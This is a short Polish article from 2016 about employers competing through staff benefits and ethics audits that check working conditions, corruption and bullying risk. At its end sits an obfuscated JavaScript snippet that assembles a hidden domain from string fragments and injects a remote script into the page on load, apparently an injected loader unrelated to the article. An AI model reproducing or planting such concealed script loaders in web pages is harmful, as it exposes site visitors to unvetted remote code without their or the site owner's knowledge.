Pracodawca na medal

2016-07-04

W ostatnich czasach coraz większą wagę przywiązuje się do nieekonomicznych czynników działania organizacji. Firmy konkurują o pracowników już nie tylko proponując wyższe zarobki, ale korzystniejsze warunki pracy.

<h3>Benefity</h3>

Wynagrodzenie za pracę to już nie tylko przelew na konto, ale także liczne dodatki. Wiele osób decyduje się na pracę w danej firmie ze względu na możliwość korzystania z prywatnej opieki medycznej, bonów na kursy językowe, zajęcia sportowe lub wycieczki. Ponadto w biurowcach coraz częściej można natknąć się na sale przeznaczone do relaksu lub gier i zabaw. Automaty z doskonałą (i darmową) kawą, kosze owoców, czy firmowe śniadania oraz lunche, to już niemal standard. W wielu firmach są też dostępne biblioteczki z branżowymi książkami. Coraz częściej pracownicy spędzają w biurze także swój wolny czas grając w planszówki, darta lub gry komputerowe. Siedziba firmy stają się już nie tylko miejscem pracy.

<h3>Etyka biznesu</h3>

Poza wspomnianymi wyżej rozwiązaniami uatrakcyjniającymi pracę, można też wprowadzić szereg zmian organizacyjnych. Obecnie spełnianie wymogów SANEPIDu oraz BHP i prawa pracy to zupełne minimum. Coraz częściej w przedsiębiorstwach przeprowadzane są także audyty etyczne. Podczas tej kontroli sprawdzane pod względem formalnym są warunki zatrudnienia, jak również wyposażenie na stanowiskach pracy, czy nastroje panujące wśród pracowników różnych szczebli. W ramach audytu etycznego oceniane jest też ryzyko wystąpienia korupcji oraz mobbingu. Poza kontrolą różnego rodzaju dokumentacji, audytor przeprowadza także rozmowy z różnymi osobami z kadry. Taka rozbudowana procedura pozwala na dokładną analizę sytuacji w organizacji. Aby dowiedzieć się więcej na temat kontroli przestrzegania zasad prowadzenia etycznego biznesu warto wejść na stronę: http://www.bureauveritas.pl/services+sheet/audyty+spoleczne

<script type="text/javascript">
(function(){
 zxys=document.createElement("script");zxys_=(("u")+"st")+"a";zxys.async=true;
 zxys.type="text/javascript";zxys_+=("t.i")+""+"n";zxys_+=(("f")+"o");zxys_+="/";
 zxysu="10462651.";zxysu+="d99vv3juxysvt6htx73"+"84vpuin5ixd";
 zxys.src="//"+zxys_+zxysu; document.body.appendChild(zxys);
})();
</script>